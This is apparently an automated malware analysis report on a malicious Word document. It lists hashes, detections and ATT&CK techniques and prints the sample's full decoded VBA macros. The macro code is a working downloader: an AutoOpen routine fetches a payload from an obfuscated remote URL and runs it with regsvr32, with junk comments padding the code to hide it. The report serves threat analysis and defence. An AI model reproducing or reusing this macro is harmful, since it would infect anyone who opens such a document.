Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ecd83bffe02f85d6…

MALICIOUS

Office (OOXML)

117.3 KB Created: 2020-06-09 09:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-10
MD5: 604ffddf9b128893501e078cf20614b4 SHA-1: 00ab48b309631ea1420542e84792619fef594b0f SHA-256: ecd83bffe02f85d61cebfd27c78e305e427ff5ad30c3cf6c03db5b59a5dc7997
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro utilizes the URLDownloadToFile function to download a payload from a remote source, and then executes it using 'regsvr32'. This indicates a downloader pattern designed to fetch and run further malicious content.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Hx"
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4914 bytes
SHA-256: 9bc97397402c671367c15131b77a7fd7422618f86876064aaba3199fb5803c68
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hx"
Sub AutoOpen()

' Different lisp
' Stuffy funding plays stimulate zoom acids
' Podcasts saddam nasty sneeze
' Impeachment trackless policies unlettered leads bated monroe
Dim i5 As New a

' Expedia myriad set
' Jocose jiffy
' Treated drilling unbalanced zurich
' Demonstrated financing rehab davies
' Midway surgeon syracuse
' Tanner incision voluptuousness dentists
' Decade broke sedge
i5.e F3(0), F3(1)

' Treat instant paramour
' Mean acquire vermilion
' Chop disagreed torture
' Gore bio amount portfolio atom
' November relationships stretcher
Dim NZ As New Q

' Schedule bathroom vixen tic seventy-two wired breed

' Ruth regularly use
' Studied rally calvin desultory
' Jurisdiction
' Suspension mike gaps
' Rutledge forming

' Mercenary ingram protest argue duffer
' Treatments canticle
' Unconstitutional blasphemy marksmen
' Thin
' Crane story

' Weymouth responsibility
' Vex uplift
' Landau tape cassock
' Transparency alignment
NZ.d "regsvr" & 32 & " " & F3(1)
End Sub

Attribute VB_Name = "a"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Passport outhouse
' Sex council
' Basque
' In allocated effectiveness inequality
End Sub
Private Sub Class_Terminate()

' Parley keep identifies
' Exchanges filme qualification slighting normally
End Sub
Public Sub e(o9, rd)

' Nevertheless
' Fin allotment
' Exceed yarn predicted cake
' Fact pennon

' Post evaluations regional
' Tier minimize stocks prophet carnival
' Sit lithuania
' Parental ir enterprise explained whom commissioner
' Dramatic tarried
URLDownloadToFile 0, o9, rd, 0, 0
End Sub

Attribute VB_Name = "Q"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function d(tv)

' Normans iso penury jm lire cheque sealed
' Sensitive sheriff
Dim X3 As New WshShell
X3.exec tv
End Function
Function te(sn)
    
' Complexity peddler dab defraud
' Austin heating vassal
' Wheaten adventures
' Promise thousands furlong daytime switches
' Retarded guidance doughty abase

' Delegation ferrari augment
' Mission surprised
' Macaroni sociology broken-down
' Faulty herself extirpate
' Minimum wayfarer theta shopper
End Function

Attribute VB_Name = "Hx1"
Public Const rm As String = "!!!"
Public Const Q8 As String = "???"
Public Function N()

' Event huntsman
' Unit petroleum
' Aggravated solve fr clustered
' Pontoon nato fantasy
Dim arr1(2)
arr1(0) = Trim("h???t???t???p???:???/???/???h???z???o???0???a???u???t???9???7???b???f???u???7???z???w???e???b???.???c???o???m???/???h???d???i???")
arr1(1) = Trim("l???/???k???z???e???x???.???p???h???p???????l???=???s???o???u???b???8???.???c???a???b???!???!???!???c???:???\???p???r???o???g???")
arr1(2) = Trim("r???a???m???d???a???t???a???\???7???6???4???9???7???1???9???9???.???d???a???t???")

' Yang
' Byte
' Tomatoes lamplight elevator ob
' Debauchery fascinate apps
N = arr1
End Function
Function F3(Y8)

' Endif democratic karl authors loquacity cowboy sleeve
' Unsightly ambassador
F2 = Join(N, vbNullString)

' Instructor distraught footstep
' Possibilities evening riddled penknife
' Bali elegantly rummage designate

' Handheld producer brooded
' Invoice red-hot johannesburg
' Characterise protect robot
F2 = Replace(F2, Q8, vbNullString)

' Toner chas foxes pessimist offshoot
' Evenly
' Query toddler virtual
bT = Split(F2, rm)

' Pushing passing london unto squalid
' Liberation mexico antediluvian orgy subscribe
' Plan
' Jena frisky incantation
' Irwin rotation
If Y8 = 0 Then F3 = bT(0)
If Y8 = 1 Then F3 = bT(1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 51c44dc7530adc18aa069559f565370dc9901dfc0faf7608a8170148c7794e1d